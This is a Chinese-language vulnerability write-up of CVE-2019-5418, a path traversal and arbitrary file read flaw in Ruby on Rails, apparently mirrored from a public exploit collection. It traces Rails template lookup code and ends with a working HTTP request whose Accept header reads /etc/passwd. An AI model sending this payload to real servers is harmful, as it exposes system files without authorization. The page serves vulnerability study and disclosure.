menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right Ruby On Rails chevron_right (CVE-2019-5418)Ruby on Rails 路径穿越与任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-5418)Ruby on Rails 路径穿越与任意文件读取漏洞.md
    4.91 KB / 2021-04-21 09:23:46
        (CVE-2019-5418)Ruby on Rails 路径穿越与任意文件读取漏洞
    =========================================================
    
    一、漏洞简介
    ------------
    
    在控制器中通过`render file`形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞,读取任意文件。
    
    二、漏洞影响
    ------------
    
    Ruby on Rails \< 6.0.0.beta3Ruby on Rails \< 5.2.2.1Ruby on Rails \< 5.1.6.2Ruby on Rails \< 5.0.7.2
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    在控制器中通过`render file`形式来渲染应用之外的视图,因此在
    actionview-5.2.1/lib/action\_view/renderer/template\_renderer.rb:22
    中会根据 `options.key?(:file)`,调用`find_file`来寻找视图。
    
        module ActionView
          class TemplateRenderer < AbstractRenderer #:nodoc:
            # Determine the template to be rendered using the given options.
              def determine_template(options)
                keys = options.has_key?(:locals) ? options[:locals].keys : []
                if options.key?(:body)
                  ...
                elsif options.key?(:file)
                  with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
                ...
              end
        end
    
    `find_file`代码如下:
    
        def find_file(name, prefixes = [], partial = false, keys = [], options = {})
            @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
        end
    
    继续跟入`args_for_lookup`函数,用于生成用于查找文件的参数,当其最终返回时会把payload保存在`details[formats]`中:![1.jpg](./resource/(CVE-2019-5418)RubyonRails路径穿越与任意文件读取漏洞/media/rId25.jpg)
    
    此后回到`@view_paths.find_file`并跟入会进入
    actionview-5.2.1/lib/action\_view/path\_set.rb:
    
        class PathSet #:nodoc:
            def find_file(path, prefixes = [], *args)
              _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
            end
            private
            # 注,这里的 args 即前面args_for_lookup生成的details
                def _find_all(path, prefixes, args, outside_app)
                    prefixes = [prefixes] if String === prefixes
                    prefixes.each do |prefix|
                    paths.each do |resolver|
                        if outside_app
                        templates = resolver.find_all_anywhere(path, prefix, *args)
                        else
                        templates = resolver.find_all(path, prefix, *args)
                        end
                        return templates unless templates.empty?
                    end
                    end
                    []
                end
    
    由于要渲染的视图在应用之外,因此跟入`find_all_anywhere`
    
        def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
            cached(key, [name, prefix, partial], details, locals) do
            find_templates(name, prefix, partial, details, true)
            end
        end
    
    跳过`cached`部分,跟入`find_templates`,这里正式根据条件来查找要渲染的模板:
    
        # An abstract class that implements a Resolver with path semantics.
        class PathResolver < Resolver #:nodoc:
            EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
            DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
    
            ...
    
            private
                def find_templates(name, prefix, partial, details, outside_app_allowed = false)
                    path = Path.build(name, prefix, partial)
                    # 注意 details 与 details[:formats] 的传入
                    query(path, details, details[:formats], outside_app_allowed)
                end
    
                def query(path, details, formats, outside_app_allowed)
                    query = build_query(path, details)
                    template_paths = find_template_paths(query)
                    ...
                    end
                end
    
    build\_query后如下:![2.jpg](./resource/(CVE-2019-5418)RubyonRails路径穿越与任意文件读取漏洞/media/rId26.jpg)
    
    利用`../`与前缀组合造成路径穿越,利用最后的`{{`完成闭合,经过File.expand\_path解析后组成的query如下:
    
        /etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
    
    最后`/etc/passwd`被当成模板文件进行渲染,最后造成了任意文件读取。
    
    ### 漏洞复线
    
    访问http://www.0-sec.org:3000/robots可见,正常的robots.txt文件被读取出来。
    
    利用漏洞,发送如下数据包,读取`/etc/passwd`:
    
        GET /robots HTTP/1.1
        Host: www.0-sec.org:3000
        Accept-Encoding: gzip, deflate
        Accept: ../../../../../../../../etc/passwd{{
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
    
    ![1.png](./resource/(CVE-2019-5418)RubyonRails路径穿越与任意文件读取漏洞/media/rId28.png)
    
    
    links
    file_download